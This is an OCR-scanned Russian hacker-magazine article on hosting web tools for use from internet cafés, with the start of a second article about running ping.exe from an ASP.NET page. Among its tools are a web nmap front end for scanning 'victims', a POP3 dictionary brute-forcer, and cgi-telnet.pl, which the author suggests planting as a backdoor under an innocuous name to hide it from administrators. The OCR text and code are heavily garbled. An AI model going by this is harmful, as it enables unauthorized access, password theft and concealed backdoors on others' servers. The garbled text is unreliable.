быть готовым ко всему. Конечно, 
я не буду учить тебя чинить дох- 
лые винты или заставлять читать 
уголовный кодекс :). Я просто по- 
кажу, как в «полевых» условиях 
пользоваться тем, что ты всегда 
активно юзал в домашних. 

Изначально представив, что в 
любом месте, где есть Интернет, 
существует также меБ-браузер, я 
выделил основную пятерку про- 
грамм, либо удобств, без которых 
человеку сложно обойтись. Реа- 
лизовывать исправную их функ- 
циональность я буду через web. 
Да, ты He ослышался, web - очень 
мощная штука, через которую 
вполне реально взламывать, ска- 
нить либо просто наслаждаться 
миром IRC :), только было бы же- 
лание. 


ВАМ ПИСЬМО! 

Рассмотрим следующую ситуацию: 
ты находишься в убогом интернет- 
клубе. Тебе страсть как захоте- 
лось утянуть какой-либо файл, HO 
возможности его транспортировки 
на свой компьютер попросту нет. 
Остается одно - послать его атта- 
чем на твой E-mail. Учитывая та- 
кой фактор, как зажратость работ- 
ников в этом клубе, которые npeg- 
лагают отправить письмо по цене 
1y.e. за 10 кб. :), всякое желание 
сотрудничать с ними у тебя пропа- 
дает. Но на помощь приходит Web, 
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Так создаются шедевры :) 


а именно система с9!-скриптов, ко- 
торая поможет тебе совершить за- 
думанную операцию. 

Вот краткий алгоритм работы 
этой самой системы: ты отправля- 
ешь обычному скрипту, который 
находится на сервере со слабым 
каналом, ссылку на необходимый 
файл. Скрипт, корректно перева- 
рив данные, передает ссылку уже 
другому скрипту, на более безо- 
пасном сервере. Тот, в свою оче- 
редь, довольно быстро выкачива- 
ет файл из инета и отправляет 
тебе на е-тай аттачем. Прелесть 
этого алгоритма в том, что ты 
практически не оставляешь сле- 
дов за тобой. Нередко в клубах 
снифорают данные, HO так как 
твой е-тай забит уже во второй 
скрипт, то враг никогда не заспа- 
мит тебя :). 

Теперь несколько слов о реали- 
зации этой системы, а именно: 
устройство скриптов. 


1. pre-get.pl 
Этому файлу ты скармливаешь 
ссылку на нужный файл. Получив 
ее, он создает сокет с нужным 
web-cepBepoM, на котором нахо- 
дится второй компонент системы. 
Этот компонент скажет «ОК» в 
случае успеха. После этого 
скрипт запишет попытку скачива- 


ния файла в |09-файл, и на этом 
его работа будет завершена. 


2. get.pl 
Второй скрипт устроен несколько 
сложнее. После приема ссылки 
он скачивает ее. Причем делает 
это без внешних программ, ис- 
пользуя модули HTTP::Request, 
HTTP::Response и LWP::UserAgent. 
Кто разбирается в Perl, тот меня 
поймет. Для остальных важен 
только результат - файл сливает- 
ся с web и сохраняется в локаль- 
ном экземпляре на сервере. 

Затем идет самое интересное - 
отправка этого самого срайла на 
нужный е-тай. Я реализовал это 
консольным вариантом, полагаясь 
на то, что программы тай и uuen- 
code установлены на любом unix- 
like сервере. Для тех, кто не знает, 
скажу, что послать файл аттачем 
можно следующей командой: 


uuencode filename filename | mail user@mail.ru 
где filename - имя файла, кото- 
рый нужно запаковать и отпра- 
вить на адрес user@mail.ru. 


Чтобы все работало, как ты за- 
хочешь, ты должен лишь устано- 
вить значения переменных, рас- 
положенных в начале скрипта. В 
pre-get.pl их три: 


Sserver='server.ru’; 

Задает сервер, на котором распо- 
ложен скрипт get.pl 
Spath_script="/cgi-bin/get.pl’; 

Задает путь к этому скрипту Ha 
web-cepBepe. Именно к нему бу- 
дет обращение от лица pre-get.pl 
Slogging=0; 

Указывает, нужно ли произво- 
дить запись в [09-файл. При зна- 
чении 1 все обращения к скрипту 
логируются в файл get.log 

В get.pl эта переменная всего 
одна - Smailaddr. В ней хранится 
необходимый e-mail адрес, на ко- 
торый придет нужный файл. 

Я надеюсь, ты знаешь, как пра- 
BUNbHO заливать скрипты. Они 
обязательно должны быть зака- 
чены в АЗСИ-режиме, и на них 
должен стоять режим 755. Также 
рекомендую создать файл get.log 
с атрибутом 666, чтобы выполня- 
лось корректное логирование за- 
просов (иначе веб-сервер просто 
не сможет ничего записать в 
файл из-за нехватки прав). 

После правильной заливки 
скриптов с измененными пере- 
менными рекомендую протестить 
их на практике, чтобы лишний 
раз убедиться в правильности их 
работы. 


Достоинства: 

1. Анонимность. Никто не узнает 
твой e-mail адрес и местонахож- 
дение главного скрипта. 

2. Скорость и время. Даже при 
маленьком канале скрипт со вре- 
менем вытянет необходимый 
файл. Твоя забота будет заклю- 
чаться только в съеме почты. 

3. Компактность. Сам код зани- 
мает считанные килобайты, а 
пользы от него на 100$ :). 


Недостатки: 

1. Некрасивое оформление е- 
тай сообщения. Внутри письма 
ты обнаружишь весь ииепсоде- 
файл, но клиент обязательно 
сформирует аттач. Также не бу- 
дет темы сообщения и явного ag- 
реса отправителя, хотя тебе он 
нужен, как рыбе зонт. 

2. Неполный логгинг. Честно го- 
воря, мне было в лом расписы- 
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Красивый дизайн к птар 


вать полный логгинг (ip-agpec, 
время и прочее), зная, что ты сам 
должен неплохо разбираться в 
Perl =). 

Цель достигнута. Теперь ты мо- 
жешь запросто скачивать файлы 
к себе на е-тай, не боясь того, 
что тебя заснифают или уличат в 
чем-нибудь противозаконном. 


http://kamensk.net.ru/forb/1/x/get- 
project.tar.gz 


Я ВЫБИРАЮ _ 

БЕЗОПАСНЫЙ СКАН! 

Процесс сканирования, как из- 
вестно, не содержит в себе ниче- 
го сложного. Нужно лишь найти 
хороший сканер, удаленный !р- 
адрес и натравить этот самый 
сканер на адрес. Результат ска- 
нирования даст знать, какие пор- 
ты открыты на сервере, а это уже 
будет информация к размышле- 
нию, наводящая на ошибки в 
софте. Так как этих самых скане- 
ров в инете пруд пруди, проблем 
практически нет. 


Другое дело, если изменить ме- 
сто твоего пребывания, где ис- 
пользовать порт-сканер наклад- 
но. Нет, речь не идет о камере 
предварительного заключения :), 
можно взять тот же интернет- 
клуб, где страсть охота проска- 
нить убогий сервер. На помощь 
опять же приходит web. Точнее 
не сам web, a птар-сканер в web- 
интерфейсе, который выполнит 
всю работу сканирования и npeg- 
ставит результат в браузере в 
удобочитаемом виде. 
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Зная, что такие проекты должны 
быть, ибо не я первый поднимал 
эту идею, изрядно помучив пои- 
сковики, выделил две тулзы для 
этого. После установки первой 
(не буду показывать пальцем - 
какой ;)) я забил на нее из-за 
сложности и кучи ненужных при- 
мочек, и лишних perl-Mogynen. A 
вот вторая тулза мне понрави- 
лась. Примечательно, что она ис- 
пользует все интерпретаторы, ко- 
торые только могут быть :), для 
своей работы. 

Пакет состоит из трех файлов: 
nmap.php, nmap.cgi и nmap.log. 
Каждый файл нужен для выполне- 
ния своей определенной задачи. 


nmap.php - собственно сам интер- 
фейс, в котором определена 
формочка для ввода ip-agpeca, а 
также несколько строчек, объяс- 
няющих, что сей скрипт делает. 
nmap.cgi - скрипт, выполняющий 
локальный вызов птар, а затем 
парсинг его лог-файла на предмет 
портов. На самом деле, назвать 
его с9!{-скриптом нельзя, так как 
все в нем выполняется обычным 
/bin/sh интерпретатором :). С og- 
ной стороны, это удобно - ничего 
лишнего, но с другой - разобрать- 
ся в коде очень сложно. 

nmap.log - логирование всех 
скан-запросов. Может быть удоб- 
но, если ты забыл ip сервера, ко- 
торый сканил. 


Теперь о настройке. Все необхо- 
димые переменные занесены в 
nmap.cgi скрипт. Их немного: 
logfile=/home/server.ru/cai-bin/ 
nmap/nmap.log 
Путь к файлу nmap.log для кор- 
ректного занесения [09-данных. 
Если не изменять поле, ничего 
страшного не произойдет, в 
скрипте присутствует проверка 
на наличие файла и прав для за- 
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писи в него. 
filename=/tmp/nmapSS.1 
output=/tmp/nmap$s$.2 

Переменные, определяющие Bpe- 
менные файлы, жизненно важ- 
ные для работы скрипта. Лучше 
их оставить как есть, но бывают 
случаи, когда /tmp директория 
недоступна для записи. Если у те- 
бя на сервере подобная ситуа- 


Вам письмо! 
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менных. 
forbidden=»linux\.org;fre- 
ebsd\.org;127\.0\.0\.1» 


лабух попытается просканить 


сах экранируются слешем. 
Все это дело устанавливается 


директорию в /cgi-bin (либо go- 


ступного для скриптов каталога). 
На скрипт традиционно выставля- 
ем 755-й, а на [09-файл - 666 pe- 
жимы. Обязательно изменим путь 


к nmap.cgi в форме nmap.php 


скрипта и наслаждаемся резуль- 


татом сканирования. 


ция, поменяй директорию в пере- 


Список хостов, которые запреще- 
ны для сканирования. Делается 
это для собственной безопасно- 
сти, на случай, если какой-нибудь 


твой же сервер :). Как видно, хос- 


ты разделяются между собой точ- 
кой с запятой, а точки в ip-agpe- 


на твой сервер в определенную 


2. Непродуманность путей к би- 
нарным файлам. Пути заострены 
go самого бинарника, HO птар 
может, например, находиться не 
в /usr/bin, а в /usr/local/bin, как 
вышло в моем случае. Также в 
системе может отсутствовать 
gawk, но присутствовать awk (на 
самом деле, это обычный си- 
млинНк). 


http://kamensk.net.ru/forb/1/ 
x/nmap-web.tar.gz 

Итак, одной проблемой меньше. 
Теперь ты можешь сканировать 
жертву, юзая только web и не ис- 
пользуя консоли. 


IRC ЧЕРЕЗ ВЕБ ИЛИ АКЦИЯ 
ПРОТИВ WWW-4YATOB 

Если ты болеешь !РС-зависимо- 
стью и проводишь в чате половину 
суток, то у тебя будет реальный ди- 


WEB-YYHECA ТВОРИТ НЕ ТОЛЬКО PERL! 
Если ты думаешь, что скрипты пишутся 
только на perl, ты ошибаешься. Nmap в 
ум/еб-интерсфейсе яркий тому пример - 
скрипт написан полностью на языке Shell. 
Он мог бы быть написан и на С, python и 
других известных языках. 


Достоинства: 

1. Удобство. В любой момент 
можно получить данные об от- 
крытых портах на сервере. 

2. Простота в установке. Для 
установки системы особого ума 


не надо, достаточно лишь немно- 


го поправить главный скрипт. 


Недостатки: 
1. Излишняя группировка раз- 


личных интерпретаторов. Отсут- 


ствие одного из них (/bin/sh, 
/usr/bin/perl, php_mod) может 


привести к неработоспособности 


проекта. 
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CKOMCDOPT при отсутствии на KOM- 
пьютере установленного клиента. 
Конечно, можно стянуть MIRC и за- 
инсталлить его, но тогда появится 
куча других проблем - возмож- 
ность поюзать IRC под твоим ником 
другому нехорошему человеку. 
Также может быть ситуация, когда 
фильтруются все порты, кроме web 
и почты, либо неохота разоряться 
на Tpacpcpuk, потраченный на ска- 
чивание клиента. 

Можно посмотреть на ситуацию 
с другой стороны. Если открыт 
web, то есть возможность устано- 
вить web-irc гейта и общаться 
без всяких проблем через http. 
Не путать гейт с мер-чатом :). Тут 
все по-другому: идет обычное 
создание сокета, после чего дан- 
ные из гс попадают Ha web-cpop- 
му. Таким образом, ты реально 
экономишь на трафике, и твое 
общение протекает относительно 
безопасно. 

Кто сталкивался с проблемой 
создания IRC-renta, знает, что 
лучше проекта CGI::IRC еще не 
придумано. Сочетание удобной 
настройки с огромными возмож- 
ностями, а также приятный ди- 
зайн делают этот проект совер- 
шенным. При этом ты забываешь, 
что находишься в web-6pay3epe, 
а не в любимом клиенте. 

Распаковав достаточно увеси- 
стый архив (около 100кб), ты уви- 
дишь в нем небольшое скопле- 


ние файлов и папок. Не пугайся, 
тебе придется поковырять сов- 
сем немного конфигов, чтобы 
гейт нормально работал. Вначале 
займись правкой cdgiirc.config.full, 
который содержит в себе нес- 
колько переменных. Их необходи- 
мо настроить на твой вкус. 


default_server = irc.ircnet.ru 
IRC-cepBep, с которым будет со- 
вершаться соединение. В моем 
случае сервер самой крупной 


Устанавливаем cgi-irc в систему 


русской сети IRCNet. Если нет яв- 
ного запрета, пользователь мо- 
жет выбирать сервер самостоя- 
тельно. 

default_port = 6667 

Порт, на котором установлен ircd. 
По дефолту 6667, но случаи бы- 
вают разные. 

default_channel = #help,#rusunix 
Каналы, Ha которые будет совер- 
шен автоматический заход. В 
случае, если пользователь набе- 
pet /join на другой канал, ему бу- 
дет представлено сообщение: 
«You are not allowed to join 
#channel». 

default_name = 31337 6473 U53R 
Юзернейм человека, который 
юзает гейт. Для тех, кто не знает, 
он пишется после айдента и хос- 
та в /whois. 

default_nick = CGI??? 

Ник, который будет выдан поль- 
зователю, в случае неявно за- 
данного. Знаки вопроса означают 
случайное число. 

script_nph = nph-irc.cgi 

script_form = client-perl.cgi 

script_login = irc.cgi 

image_path = images 

Пути к главным скриптам гейта, а 
также к картинкам относительно 
конфига. Если ты любитель чи- 
стоты и хранишь конфиги от- 
дельно от скриптов, то поменяй к 
ним пути в этих переменных. 
ip_access _file = ipaccess 

Путь к ipaccess файлу. В нем 6y- 
дет список ip-agpecoB, с которых 
разрешено либо запрещено ис- 
пользование гейта. Об его 
устройстве я скажу чуть позднее. 
admin password = d32sWfxs.t3a9 
Админский пароль в DES коди- 
ровке. Нужен для одной един- 
ственной команды: /ctcp kill nick 
пароль причина. При совпадении 
пароля гейт выкинет юзера из 
IRC с указанной причиной. Уста- 


новить этот пароль можно кон- 
сольной командой: perl -e ‘print 
crypt «password»,»SA»’, где pass- 
word - нужный пароль, a SA - два 
любых символа, по которым бу- 
дет создан этот пароль. 

format = default 

CGI:IRC содержит в себе около 
десятка web-ctunen. Их ты мо- 
жешь найти в папке interfaces, 
поставляемой с пакетом, а также 
с легкостью создать свой соб- 
ственный стиль, если, конечно, 
дружишь с html. 

interface smilies = 1 

Переменная, отвечающая за за- 
мену стандартных смайликов на 
их графический эквивалент. Я бы 
не советовал включать ее, так как 
процесс общения начинает напо- 
минать банальный мер-чат =). 


Это минимум переменных, кото- 
рые необходимо поменять для ис- 
правной работы гейта. Далее, как 


правь файлик .htaccess, в кото- 
ром следует раскомментить ди- 
рективу Directorylndex, чтобы 
каждый зашедший в директорию 
на web автоматически перенапра- 
влялся на скрипт irc.cgi, что бу- 
дет лучше обзора всей иерархии 
гейта :). 

Так как я использую эти скрип- 
ты очень давно, то могу достаточ- 
но справедливо оценить этот по 
всем параметрам. 


Достоинства: 

1. Приятный и настраиваемый 
\у/еБ-интерфейс. Именно это при- 
тягивает посетителей, да и самих 
владельцев паги, к использова- 
нию гейта. 

2. Хорошая фильтрация от не- 
желательных гостей. Это как и 
постоянный ipaccess, так и вре- 
менный /ctcp Kill. 

3. Скорость. В отличие oT web- 
чатов, скорость просто космиче- 
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IRCoBka через гейт 


и обещал, расскажу об ipaccess- 
файле и его синтаксисе. 


lpaccess необходим gna соста- 
вления списка !р-адресов, с кото- 
рых будет разрешено использо- 
вание гейта, а также указывать 
лимиты, чтобы избежать клонов с 
различных адресов. Этот файл 
может иметь следующее содер- 
жание: 
192.168.0.* 0 
192.168.1.* 2 
192.168.2.* 4 
Эти строки говорят о том, что 
гейт позволит зайти 10 пользова- 
телям со всех адресов, только 2 с 
маски 192.168.1.0/24, четырем 
пользователям с соседней маски 
и полный запрет с маски 
192.168.0.0/24. 


Изменив локально все конфигу- 
рационные файлы, переименуй 
их в стандартные, то есть отбрось 
всякие добавки к их именам (типа 
full unu example). После этого ак- 
куратно залей все скрипты в ис- 
полняемую директорию и рас- 
ставь им режим 755. Затем по- 


ская, но, естественно, ниже, чем 
в обычных 1ВС-клиентах. 


Недостатки: 
Английский язык. Все комментарии 
и В С-сообщения написаны на нем, 
поэтому незнающему человеку ра- 
зобраться проблемно. Ho Рег- 
скрипты, как известно, не в бинар- 
ном формате, поэтому ты можешь 
легко русифицировать их. 


http://cgiirc.sourceforge.net/ 
releases/cgiirc-0.5.2.tar.gz 


Вот, собственно, и все про 
CGl:IRC. Если тебе этого показа- 
лось мало, для тебя существует 
папочка docs. В ней изложено 
все по установке и настройке это- 
го пакета, но опять же на англий- 
ском языке. Зато, если ты 
освоишь и настроишь все воз- 
можности гейта, то действитель- 
но будешь крут. 


ЛОМАЕМ ПАРОЛИ ЧЕРЕЗ WEB 
О таком методе, как bruteforce- 
hack, ты, наверное, слышал не 
раз. Это тупой перебор паролей 
на известного пользователя. Он 
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ПРИМЕРЫ/СВОЯ ВОЕННАЯ БАЗА В СЕТИ 


ВЕБ-ТУЛЗЫ 


нежелателен тем, что все запро- 
сы оседают в логах сервера, на 
котором происходит перебор. Но, 
тем не менее, этот метод исполь- 
зуется довольно часто. Но нуж- 
ного софта, особенно под linux, 
мало. Возможно из-за того, что 
брутфорсеры бывают очень раз- 
ные и актуальны в зависимости 
от ситуации. 

На повестке дня - еще один 
\\еб-проект под названием pop3- 
bruteforcer. Этот проект состоит 
из самого скрипта bruter.pl, 
web.cgi и еще нескольких фай- 
лов. Для нас особое значение 
имеет web.cgi - скрипт, который 
запускает bruter.pl, a также осу- 
ществляет мониторинг за процес- 
сом перебора паролей. Чтобы 
развеять туманность вышеска- 
занного, расскажу об общем 
принципе работы этих скриптов. 


Скрипт web.cgi анализирует то, 
что от него хотят по QUE- 
RY_STRING. Если параметров не 
было вообще, он выдает пользо- 
вателю небольшую форму, в ко- 
торой содержатся три обязатель- 
ных параметра: имя сервера, 
пользователь и пароль. Пароль 
необходим для авторизации go- 
ступа к скрипту, чтобы левый 
юзер не смог мониторить про- 
цесс подбора. В случае параме- 
тра list, скрипт покажет все логи, 
в которых лежат данные о вер- 
ных паролях, либо просто ска- 
жет, что их нет. Если же будет 
присутствовать параметр brute, 
который вызывается после за- 
полнения меб-формы, в фоно- 
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Следим за проделанной работой 


вом режиме запустится брутфор- 
сер bruter.pl в виде «bruter.pl 
host user &». 

Скрипт bruter.pl использует cno- 
варь для перебора паролей. Беря 
последовательно каждое слово, 
он отправляет пару login:naponb 
на 110 порт удаленного сервера. 
Затем идет простой анализ ре- 
зультата и - в случае удачи - за- 
пись в [09-файл. 


Чтобы проект корректно рабо- 
тал, необходимо изменить нес- 
колько переменных. 


web.cgi: 
Ssalt=»psCR3/S2Salko»; 
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Пароль на доступ к скрипту. По 
умолчанию - bruter. Но пароли по 
умолчанию, как правило, go 906- 
ра не доводят, поэтому советую 
тебе его сменить. 


Sheader="head.html': 

Sfooter='foot.htm!’; 

Пути к html-qpannam: соответ- 
ственно, заголовок и окончание 
кода. В моей реализации нет ни- 
какого дизайна, ибо я не пресле- 
довал цели показать тебе мои 
знания html. Тем более, что на 
вкус и цвет... :) 

Slogdir=»brut»; 

Папка для логов относительно 
скрипта. В ней будут создаваться 
все логи с правильными пароля- 
ми, а также производиться мони- 
торинг через процедуру чтения 
файлов в этой папке. 


bruter.pl: 

Slogdir=»brut»; 

Убедись, что значение этой пере- 
менной совпадает со значением в 
соседнем скрипте, иначе их инте- 
грация будет невозможной. В эту 
директорию скрипт будет скиды- 
вать логи с результатом своей 
работы. 


Sdict="dict.txt’; 

Путь к словарику, по которому 
будет производиться подбор па- 
ролей. Не советую сразу зали- 
вать 100-мегабайтный словарь, 
так как брутфорс - очень долгий 
процесс, а полный перебор твое- 
го текстовика дождутся лишь 
твои правнуки. 


Залив скрипты на сервер, убе- 
дись, что все файлы на месте. 
Создай папку brut с правами 777, 
иначе запись туда будет невоз- 
можной, что повлечет за собой 
неверную работу всей системы. 

Настало время оценить проект 
по 10-бальной шкале :). 


Достоинства: 

1. Гибкая настройка и возмож- 
ность создания своего дизайна. 

2. Поддержка нескольких запу- 
сков брутфорсинга. 

3. Универсальность. Можно под- 
править bruter.pl и с легкостью 
добиться перебора паролей на 
другой сервис. 
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Недостатки: 

1. Мониторинг происходит толь- 
ко по удачному результату. О те- 
кущем переборе паролей ты y3- 
нать не сможешь. 

2. Нет лог-файла обращений к 
самой web-cpege. Предлагаю соз- 
дать его самостоятельно :). 

3. Отсутствует проверка на обя- 
зательные параметры. Рекомен- 
дую внедрить ее, иначе могут 
быть ошибки в работе системы. 


http://kamensk.net.ru/forb/1/ 
x/pop3-brute.tar.gz 


Теперь у тебя есть все, что 
необходимо для взлома и отдыха. 
С удовольствием предлагаю по- 
следний проект в этом материале, 
который замкнет цепь web-npoek- 
тов и развеет твое мнение о том, 
что web нужен только для обзора 
html-ctpaHuu. 


УДАЛЕННОЕ УПРАВЛЕНИЕ 
СИСТЕМОЙ 

Бывают случаи, когда необходим 
удаленный шелл в системе, но, по 
закону подлости, опять же нет по- 
дручных средств. Искать и качать 
$$П-клиент и прочий сост тебя 
ломает, а быть может, и не позво- 
ляет злой firewall на сервере. Но 
не все так плохо: существует мно- 
го средств для управления систе- 
мой через web, начиная с гро- 
моздкого мебт"а, заканчивая 
простенькими скриптами. 


Я остановился на замечатель- 
ном скрипте cgi-telnet.pl, написан- 
ном неким Rohitab Batra. Он no- 
зволяет не только управлять си- 
стемой, поглощая команды и вы- 
давая результат, но и закачивать 
и заливать файлы. Изначально 
скрипт выполняется под nobody 


правами, но при установке на не- 
го +5 бита можно с легкостью по- 


Качаем файлы через cgi-telnet 


менять права скрипта. 


Естественно, управление защи- 
щено паролем, и простому юзеру 
не будет возможности порулить 
твоим сервером :). Навигация по 
скрипту также очень удобна, что 
делает управление системой дей- 


нии 


Enter password! 


ствительно увлекательным про- 
цессом. Что примечательно, 
скрипт поддерживает не только 
Linux, но и WinNT платформу, за- 
пуская вместо /bin/sh - c:\win- 
dows\system32\cmd.exe интер- 
претатор. 


Ты можешь использовать Cgi- 
telnet как обычный backdoor, что 
очень удобно, особенно в том 
случае, когда порты удаленного 
сервера фильтруются файрвол- 
лом. Только замаскируй скрипт 
под неприметное имя, иначе ад- 
министратор быстро найдет лиш- 
ний процесс в таблице :). 


Сам скрипт очень большой по 
объему, занимает около 27 кб. Он 
содержит в себе много функций, 
таких Kak ироаЧ Те, downloadfile 
и тому подобные. 


ПРИМЕРЫ/СВОЯ ВОЕННАЯ БАЗА В СЕТ 


Чтобы установить скрипт, тебе 
придется изменить четыре важ- 
ные переменные: 


 аволь на Вход B систему. Уста- 
навливается в plain-text. Должен 
быть обязательно изменен на бо- 
лее сложный :). 

WinNT = 0; 
Если ты запускаешь этот скрипт 
nog WinNT, установи значение 
мн равное и 
СоттапаТитеои иг 10 

Время на выполнение команды B 
секундах. При истечении этого 
времени команда будет убита ав- 
томатически. Работает только на 
Linux- Le Shae 

VynamicUUTpL 

ВЮВ или выключает буфе- 
ризацию при выполнении коман- 
ды. Иначе говоря, выводит ре- 
зультат в процессе или после вы- 
полнения команды. 


После изменения переменных 
залей скрипт на сервер и устано- 
ви на него исполняемый режим. 
Если все сделано правильно, то 
после ввода верного пароля тебя 
пустят в систему. 


Достоинства: 

1. Отличный дизайн и навигация 
по скрипту. Об этом программеры 
позаботились добросовестно. 

2. Наличие таких полезных 
функций, как заливка и скачива- 
ние файлов. 

3. Авторизация паролем. Длина 
пароля не ограничена, а содер- 
жание ограничено лишь твоей 
фантазией. 


Недостатки: 

1. Переменная $Password запи- 
сана в plain-text. Таким образом, 
если злоумышленник посмотрит 
сорцы скрипта, то он запросто 
сможет авторизоваться в нем. 


2. Са-шелл неполноценен. Он 
не может выполнять интерактив- 
ные команды, поэтому его воз- 
можности не безграничны. 


http://kamensk.net.ru/forb/1/ 
x/cgi-telnet.tar.gz 


Завершая наш мини-обзор, хочу 
отметить, что это далеко не все 
возможности web. Можно нав- 
скидку перечислить еще с деся- 
ток полезных проектов, лишь бы 
была фантазия. Следует избегать 
мыслей, что через web нельзя 
сделать ничего, кроме просмотра 
html и млмм-чатинга. Бывает, что 
натыкаешься на такие web-npoek- 
ты, что просто диву даешься. Хо- 
роший дизайн в переплетении с 
многофункциональностью дает 
потрясающий результат. 

Прочитав эту статью, я надеюсь, 
у тебя пропадет чувство диском- 
форта за чужим компьютером, 
так как ты обязательно выбе- 
решь нужный тебе проект и уста- 
новишь на своем сервере. Глав- 
ное - не затягивать с этим делом, 
ведь верно говорят: «Готовь са- 
ни летом». Кроме того, лишний 
проект на web еще никому не 
повредил. 


Возможно, эта статья натолкнет 
тебя на какие-то мысли по этой 
теме, и ты захочешь написать 
свой web-npoekt. Если так и про- 
изошло, не стесняйся, напиши 
мне свою идею. В этом случае ли- 
бо я тебе помогу советом, либо 
мы вместе реализуем этот проект 
- было бы желание. Главное - ни- 
когда не забивай на собственные 
идеи, а развивай их, тем самым 
накапливая опыт в кодинге и в 
web-gu3anHe. 
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Нужно по- 
дождать от- 
вета и чуть- 
чуть шевель- 
нуть мозгом. 


...сообщение 
об ошибке, 
если, конеч- 
но, ошибка 
будет. 

А она будет 
когда-нибудь 
:)! 


Владимир Егоров aka 
Dr.NET (vme@front.ru) 
& ilich (ilich@atrus.ru) 


PING MASTER 


ТРАНСЛЯЦИЯ СМО2НТМЕ HA ASP 


Здравствуй, дружище! Знаешь ли ты, что именуется термином "ртд"? Hy конечно же 
знаешь! А знаешь ли, что такое \Меь-страница? Вижу, ты отчасти смутился :)... Ну 
так вот, а о том, что эти две вещи можно неплохо совместить, интегрируя одну в 


другую, ты наверняка и не подозревал! Для таких случаев и в казематах НИИ имени 
Кащенко (да-да, есть и такой :))) разработаны мы - Spez-Crew то есть. 


так, наша с тобой за- 
дача - перенапра- 
вить стандартный 
вывод программы ртд.ехе вместо 
консоли на \МеБ-страницу. Зачем 
это может быть нужно, решишь 
сам на досуге за чашкой пива, а я 
лишь скажу, что этот пример в 
любом варианте полезен, ибо по 
этому принципу можно перена- 
править в \\еБ-страницу вывод 
практически любой консольной 
проги. А это тебе не хухры-мухры! 
Так что дальше все зависит толь- 
ко от твоей фантазии и ловкости 
твоих конечностей, то есть как 
всегда :). 
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Пример я написал на моем лю- 
бимом C# в среде ASP.NET. Если 
тебе на прошлой неделе только 
годик стукнуло, то объясню, что 
для того, чтобы все написанное 
здесь работало, тебе нужно уста- 
новить Microsoft.NET Framework. 
А это штука такая, что не Ha вся- 
ком диске имеется :). 

Сначала создаем файл с расши- 
рением *.азрх и записываем туда 
между символами "<%@" и "%>" 
директиву ASP.NET “Import Na- 
mespace=". После знака paBeH- 
ства в кавычках пишем имена тех 
пространств имен, которые потре- 
буются нам для написания этой 
паги. Это нужно для того, чтобы, 
например, вместо названия клас- 
са "System.Text.RegularExpres- 
sions.Regex" писать просто "Re- 
дех". Короче говоря, это настоль- 
ко удобно, что ведет к практиче- 


meu 


== 
aire 05(30) 2003 


ски полному расслаблению твоих 
членов во время написания кода 
:). Нам нужно будет таким обра- 
зом импортировать четыре про- 
странства имен: "System.Diagno- 


stics", "System.Text.RegularEx- 
pressions”, "System.lO” и "5у- 
stem.Net”. 


Теперь вбиваем известный с пе- 
ленок заголовок HTML и пишем 
тело документа между <body> и 
</body>. Для отправки запроса на 
сервер создаем форму с атрибу- 
TOM гипа{="зегуег". 


<%@ Import Namespace="System.Diagno- 
stics"%> 
<%@ Import Namespace="System.Text.Regu- 
larExpressions"%> 
<%@ Import Namespace="System.l0"%> 
<%@ Import Namespace="System.Net"%> 
<html> 
<head> 
<title>Ping</title> 
<meta http-equiv="Content-Type” con- 
tent="text/html:charset=windows-1251"> 
<script language="C#" runat="server"> 
protected void do_Ping(object sender, 
EventArgs e) 
{ 


Regex rx = new Re- 
gex(@" (\d41,3}.){3}(\d{1,3}){1}"); 
if (rx.Match(addr.Text).Success) 
try 
{ 
|PAddress.Parse(addr.Text); 
} 


catch (FormatException) 


[3.Тех{ = "Неверный |P-agpec!”; 
return; 
} 
Process р = new Process(); 
p.Startinfo.UseShellExecute = false; 


p.StartInfo.RedirectStandardOutput = true; 


p.StartInfo.FileName = "d:\\winnt\\sy- 
stem32\\ping.exe", 
p.StartInfo.Arguments = addr.Text+" -n 1"; 
p.Start(); 


[2.ТехЕ = p.StandardOutput.ReadToEnd(); 


p.WaitForExit(); 
p.Dispose(); 


</script> 


</head> 
<body> 
<form id="frmt" method="post” ru- 
nat="server"> 
<asp:Label ID="II" Runat="server'>IP- 
адрес или О№-имя компьюте- 
pa:</asp:Label> 
<asp:TextBox Runat="server" Co- 
lumns="16" ID="addr" Max- 
Length="100" /><br> 
<asp:RegularExpressionValidator Dis- 
play="Dynamic” ЕггогМеззаде="Ты 
должен ввести IP-agpec или пол- 
ное О№-имя компьютера" ID="rev" 
Runat="server” ControlToValida- 
te="addr" ValidationExpres- 
sion="(\d{1,3}.{3}(\d{1, 3) ]\w+([- 
J\w+)*([a-z]+)+" > 
sbr/><br/> 
<asp:Button Тех{="Проверить" OnC- 
lick="do_Ping” Runat="server" 
id="butl" /><br> 
<asp:Label ID="I2" Runat="server" /> 
<asp:Label ID="13" Runat="server” 
ForeColor="red" /> 
</form> 
</body> 
</html> 


В форму помещаем текстовое 
поле для ввода 1Р-адреса или 
О№5-имени интересующего нас 
компа. Вместе с текстовым полем 
нам будут нужны три АЗР-шные 
метки (<asp:Label>). В одну поме- 
щаем текст "1Р-адрес или DNS- 
имя компьютера". Вторую оста- 
вим пустой - она будет нужна для 
вывода ответа программы на на- 
шу страничку. 
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Третья тоже будет пустой, но, в 
отличие от второй, у нее запи- 
шем атрибут ForeColor="red", no- 
казывающий, что текст будет вы- 


водиться красным цветом. Третья 
метка нужна для вывода сообще- 
ния об ошибке, если, конечно, 
ошибка будет. А она будет когда- 
нибудь :)! Добавляем валидатор 
<asp:RegularExpressionValidator>, 
который будет проводить первич- 
ную проверку вводимых данных с 
помощью регулярного выраже- 
ния. Атрибуту "ControlToValidate” 
валидатора присваиваем такое 


"object sender” и "EventArgs е". 
"Sender" - объект, в котором воз- 
никло событие (в нашем случае - 
воздействие на кнопку, выражен- 
ное в нажатии :)), а переменная 
"е” содержит данные о событии. 
Что нам нужно сделать прежде 
всего, получив адрес? Сначала 
надо отделить IP-agpec от DNS- 
имени и проверить, правильный 
ли введен |Р-шник (так как вали- 


Понимаю внезапно постигшую тебя 
дрожь :). Расслабься, сейчас все 
немного упростим. 


же значение, как и имя текстово- 
го поля для ввода адреса (я наз- 
вал ero "а г”), - этот атрибут 
указывает на элемент, инофу в ко- 
тором следует проверить на пра- 
вильность. В качестве параметра 
"ErrorMessage” валидатора запи- 
шем текст сообщения, которое 
будет выводиться при непра- 
вильных данных. Обрати внима- 
ние, что во всех серверных XML- 
тегах ASP.NET присутствует атри- 
бут Кипа{="5егуег". Теперь вали- 
датору не хватает атрибута "Vali- 
dationExpression”, т.е. того самого 
страшного регулярного выраже- 
ния для проверки адреса. Это вы- 
ражение выглядит так: 
(\d{1,3}.){3}(\d(1,3})(1}|\w+([- 
.J\w+)*(.[a-z]+)+. Левая часть go 
